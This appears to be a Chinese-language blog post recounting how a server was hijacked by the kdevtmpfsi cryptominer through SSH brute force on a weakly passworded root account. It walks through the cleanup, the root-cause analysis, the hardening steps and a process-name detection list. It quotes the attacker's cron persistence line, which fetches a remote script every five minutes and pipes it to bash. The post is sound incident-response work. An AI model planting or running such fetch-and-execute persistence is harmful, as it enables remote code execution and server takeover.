服务器被黑了，我是怎么发现和处理的
上周五晚上10点，正准备关电脑下班，收到一条告警：服务器CPU 100%。
点开一看，好家伙，被挖矿了。
记录一下整个排查和处理过程，希望对大家有帮助。
发现异常
告警内容：
[CRITICAL] 生产服务器 192.168.1.100 CPU使用率 99.8% 持续时间：15分钟第一反应：难道是流量突增？看了一下监控，QPS很正常，但CPU就是打满了。
SSH登上去看看：
topPID USER %CPU COMMAND 12345 www-data 98.5 ./kdevtmpfsikdevtmpfsi？这是啥进程？百度一搜，典型的挖矿木马。
应急处理
第一时间：隔离
# 先把服务器从负载均衡摘掉# 或者直接断外网（但我需要SSH连接，所以没断）# 在防火墙上禁止该服务器对外连接iptables -A OUTPUT -j DROP# 只允许SSHiptables -I OUTPUT -p tcp --dport22-j ACCEPT杀掉挖矿进程
# 找到进程psaux|grepkdevtmpfsi# 杀掉kill-912345# 但是几秒后又起来了...说明有守护进程或者定时任务在重启它。
查找守护机制
# 检查定时任务crontab-lcat/etc/crontabls/etc/cron.d/cat/var/spool/cron/crontabs/*发现了：
# /var/spool/cron/crontabs/www-data*/5 * * * *curl-s http://xxx.xxx/b.sh|bash每5分钟从外部下载脚本执行。
# 删除定时任务crontab-r -u www-data# 再查一下有没有别的grep-r"kdevtmpfsi"/etc/grep-r"curl.*\.sh"/var/还找到了几个地方：
# /etc/rc.local 里被加了一行/tmp/.cache/kdevtmpfsi&# 删掉vim/etc/rc.local清理木马文件
# 找到所有可疑文件find/ -name"kdevtmpfsi"2>/dev/nullfind/ -name".cache"-type d2>/dev/nullfind/tmp -type f -executable2>/dev/null# 删除rm-rf /tmp/.cacherm-rf /var/tmp/.cache检查SSH后门
# 检查authorized_keyscat/root/.ssh/authorized_keyscat/home/*/.ssh/authorized_keys# 发现多了一个不认识的公钥，删掉溯源分析
木马清理完了，得查查怎么进来的。
检查登录日志
# 查看最近登录last lastb# 失败的登录# 查看SSH日志grep"Accepted"/var/log/auth.log|tail-50发现凌晨3点有一次root登录，来自一个国外IP。
但我们的root是禁止远程登录的啊？
cat/etc/ssh/sshd_config|grepPermitRootLogin# PermitRootLogin yes谁改的？git blame一下配置管理…原来是之前同事调试的时候开的，忘记关了。
检查入侵方式
继续分析日志：
grep"Failed password"/var/log/auth.log|wc-l# 854328万多次失败登录，典型的暴力破解。
再看成功的那次：
grep"Accepted password for root"/var/log/auth.log# Dec 15 03:24:17 server sshd[12345]: Accepted password for root from 45.xx.xx.xx密码是什么？检查一下root密码复杂度…
问了一圈，得知root密码是Admin@123。
典型的弱密码，字典里肯定有。
根因总结
入侵链路：
1. SSH对外开放22端口 ✓ 2. 允许root远程登录 ✓ 3. root使用弱密码 ✓ 4. 被暴力破解成功 5. 下载挖矿木马 6. 添加定时任务保持持久化每一步都是安全隐患，叠加起来就被黑了。
加固措施
1. SSH安全加固
# /etc/ssh/sshd_config# 禁止root登录PermitRootLogin no# 禁止密码登录，只用密钥PasswordAuthentication no PubkeyAuthenticationyes# 改端口（可选）Port22022# 只允许特定用户AllowUsers admin ops# 重启SSHsystemctl restart sshd2. 安装fail2ban
aptinstallfail2ban -y# 配置cat>/etc/fail2ban/jail.local<<EOF [sshd] enabled = true port = ssh filter = sshd logpath = /var/log/auth.log maxretry = 3 bantime = 86400 findtime = 600 EOFsystemctlenablefail2ban systemctl start fail2ban5次失败就封IP一天。
3. 防火墙限制
# 只允许公司IP访问SSHiptables -A INPUT -p tcp --dport22-s 公司IP -j ACCEPT iptables -A INPUT -p tcp --dport22-j DROP4. 密码策略
# 安装密码复杂度检查aptinstalllibpam-pwquality# /etc/security/pwquality.confminlen=12dcredit=-1 ucredit=-1 lcredit=-1 ocredit=-15. 监控告警
加了几个告警规则：
- CPU持续高于80%超过5分钟
- 新增定时任务时告警
- SSH登录成功告警（非白名单IP）
- 异常外连告警
远程应急的问题
这次还好我在公司，直接SSH上去处理了。
如果是半夜在家收到告警呢？家里连不上公司内网服务器。
之前的方案是开远程专线，但：
- 连接经常断
- 手机上操作很麻烦
- 有些服务器在隔离网段，专线也连不上
后来用星空组网把服务器都组到一起，不管在哪都能SSH连上，应急方便多了。
事后复盘
该做没做的
- 定期安全扫描
- 配置文件变更审计
- SSH配置检查纳入部署流程
- 密码定期更换
侥幸逃过的
- 幸好只是挖矿，不是勒索病毒
- 幸好数据库没被拖
- 幸好发现得早
改进措施
- 所有服务器SSH配置统一管理（Ansible）
- 每月安全扫描
- 新服务器上线必须经过安全检查
- 重要服务器禁止密码登录
常见挖矿木马特征
最后总结一下常见的挖矿木马特征，方便排查：
| 进程名 | 特征 |
|---|---|
| kdevtmpfsi | 最常见 |
| kinsing | 配套木马 |
| xmrig | 门罗币挖矿 |
| *.sh在/tmp下 | 可疑脚本 |
# 快速检查命令psaux|grep-E"kdevtmpfsi|kinsing|xmrig|cryptonight"find/tmp /var/tmp -type f -executablecrontab-lcat/etc/rc.local希望大家的服务器都平平安安，不要遇到这种事。
有安全相关的问题可以评论区交流。